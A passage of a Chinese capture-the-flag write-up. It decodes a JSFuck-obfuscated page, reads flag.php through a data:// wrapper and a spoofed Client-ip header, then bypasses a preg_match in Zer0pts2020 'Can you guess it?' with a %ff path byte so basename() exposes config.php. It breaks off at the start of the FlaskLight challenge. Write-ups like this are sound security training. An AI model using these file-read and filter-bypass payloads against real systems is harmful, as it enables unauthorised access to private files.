])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+!+[]]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]]((+((+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+[+[]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]])+[])[!+[]+!+[]]+[+!+[]])+(![]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]])()())[!+[]+!+[]+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+[+!+[]])+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+([+[]]+![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[+[]]])

原本需要专门找个工具解码的,但是后面了解了下使用console.log的JS语法输出即可。

当然,也可以使用这个JSFuck网站解码.

解码时会弹出下面这段文本:

post me Merak

post传参,使用Merak:

post:	Merak=me

得到源码

三层 –源码分析

 <?php 
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';

if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}

# 解码函数
function change($v){
# base64解码
$v = base64_decode($v);
$re = '';
# 取出每个字符对应的十进制数,按顺序加上$i的增量
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
# 一个外部php引入的解决IP的函数
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
# 鉴定IP地址是否有误,再通过file_get_contents鉴定状态?
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
# 实打实的文件内容读取
echo file_get_contents(change($_GET['file'])); }
?>

这里有一点倒是不得不说:第一个接触file_get_contentsh函数的时get的 ‘2333’ 参数。

file_get_contents($_GET['2333']) === 'todat is a happy day' )
# 意思是核对文件信息是不是 “todat is a happy day”
# 能直接传入文件信息的协议属data莫属了
?2333=data://text,plain,todat is a happy day

暂时解决掉一个参数。

还有一个,就是那个IP地址的爆破。

# 放在BP测试器爆破一下就行。
# 爆破的结果是这个http数据头
Client-ip : 127.0.0.1

接下来剩下一个读文件的get参数。

上面那个函数正好加密了get参数再拿值,这里需要先反写:

function unchange($v){ 
$re = '';

for($i=0;$i<strlen($v);$i++){
$re .= chr(ord($v[$i])-$i*2);
}
return base64_encode($re);
}

调用这个函数对我们想读取的文件进行加密就行了:

var_dump(unchange('index.php'));
#得到:string(12) "aWxgX3AkZFpg"
var_dump(unchange('index.php'));
#得到:string(12) "ZmpdYSZmXGI="

优先读取flag,完整的payload如下:

GET:?2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI=
header: Client-ip : 127.0.0.1

return: # 注释内扒拉出源代码
<?php
$flag = 'flag{5843a57f-3446-425c-9a56-d3e1e1fabb51}';
echo "Flag is here~But how to get it?";
?>

总结

file_get_contents()	
# 利用点:
/*
伪协议:
data://text,plain,.....
data://text,plain;base64,....
*/
header
# 数据头本地IP地址字段的爆破
# Client-ip : 127.0.0.1
php编码机制
# b u p t=23333%0a
# https://www.freebuf.com/articles/web/213359.html
%0a换行绕过
# preg_match匹配,正则表达式形如这个/^23333$/ ==> /^....$/
JSFuck解码js编码的()+[]!
# console.log输出这个编码的结果
# 浏览器console直接输出这个 ()+[]! 编码的执行结果
# 在线执行:https://jsfuck.com/

[Zer0pts2020]Can you guess it?

原始信息

得到源码:

?source

<?php
include 'config.php'; // FLAG is defined in config.php

# 访问config.php就退出
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

# source高亮代码
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

# 生成64b随机字节并转16进制
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
# 进行字符和长度的比较应该是类似于那种 '===' 的强类型比较
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
<!doctype html>
<html lang="en">

<head>
<meta charset="utf-8">
<title>Can you guess it?</title>
</head>

<body>
<h1>Can you guess it?</h1>
<p>If your guess is correct, I'll give you the flag.</p>
<p><a href="?source">Source</a></p>
<hr>
<?php if (isset($message)) { ?>
<p><?= $message ?></p>
<?php } ?>
<form action="index.php" method="POST">
<input type="text" name="guess">
<input type="submit">
</form>
</body>

</html>

数据包当中截获的信息:PHP/7.3.15

解题

原本测试这个题目的时候误以为突破口在生成十六进制字符串那里,但找不到任何解决办法能生成相对应的十六进制字符串。

十六进制字符串的生成是随机的,没有伪随机数控制。

那么突破口只剩下一个了:

# flag在config.php文件当中
// FLAG is defined in config.php
# 访问config.php/xxxx就退出,如果仅访问到config.php/就不匹配
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

# source高亮代码
if (isset($_GET['source'])) {
# basename:返回路径当中的文件名部分
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

一个个解决:

# PHP7.3
//X-Powered-By: PHP/7.3.15
//响应头当中包含了php的版本信息,应该是没错了


#$_SERVER['PHP_SELF'] 亲测如下:
http://xxxx/ /index.php
http://xxxx/index.php /index.php
http://xxxx/index.php?a=1 /index.php
http://xxxx/index.php/1.php /index.php/1.php
http://xxxx/index.php/1.php/%ff?a=1 /index.php/1.php/
http://xxxx/index.php/1.php/%ff/1.php /index.php/1.php/
# ff截断了php读取路径信息,但是不影响Get传参。
# 先声明一点,访问/index.php/config.php的时候,提供服务的页面还是index.php


# 正则表达式匹配
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF']))
# 匹配的范围是config.php*
# 不允许其它字符出现,八成是明文字符ascii。
# 我们需要传入参数source,但是不能被正则表达式计入,有大佬给出了使用不可见字符的办法
# 不可见字符为128到255,这里使用%ff进行绕过
# 不可见字符确实匹配不到,能绕过正则表达式,也能顺利的GET传参
http://xxx.xxx.xxx:xx/index.php/config.php/%ff?source
# 在正则表达式匹配的视角下,实际上仅仅匹配到了:config.php/

#basename,获取路径当中的文件名部分
# 下面是试验:
echo basename('/index.php');
echo basename('/index.php/config.php');
echo basename('/index.php/config.php?a=1');
echo basename('/index.php/config.php/x.php');
echo basename('/index.php/config.php/%ff/1.php');
----------------------------------------------------
index.php
config.php
config.php?a=1
x.php
1.php
# 和$_SERVER['PHP_SELF']影响的效用差不多,不可见字符串能绕过,防止basename过渡匹配


#highlight_file:高亮指定文件的所有内容
highlight_file(basename($_SERVER['PHP_SELF']));

payload:

http://xxx.xxx.xxx:xx/index.php/config.php/%ff?source
# 解释如下:
/*
1.当前页面执行的功能依赖是index.php
2.$_SERVER['PHP_SELF']读取的内容是:/index.php/config.php/
3.basename()读取的内容是config.php
4.get能获取到source参数
*/

# 返回的那个东西就是flag了,此处不赘述

总结

PHP版本7.3
$_SERVER['PHP_SELF'] #读取url路径信息时,可以使用128~255的不可见字符进行截断
# 绕过正则表达式/config\.php\/*$/i
basename() #将传入的路径截取为文件名
$_GET['value'] #get传参获取机制:只要是URL?a的形式,即便a没有赋值也算GET传参。

[CSCCTF 2019 Qual]FlaskLight

原始信息

题目提示了是flask,八成就是python了

<!DOCTYPE html>
<html>
<head>
<title>Flasklight</title>
</head>
<body>
<marquee><h1>Flasklight</h1></marquee>
<h2>You searched for:</h2>
<h3>None</h3>
<br>
<h2>Here is your result</h2>
<h3>[]</h3><br>
<!-- Parameter Name: search -->
<!-- Method: GET -->
</body>
</html>

解题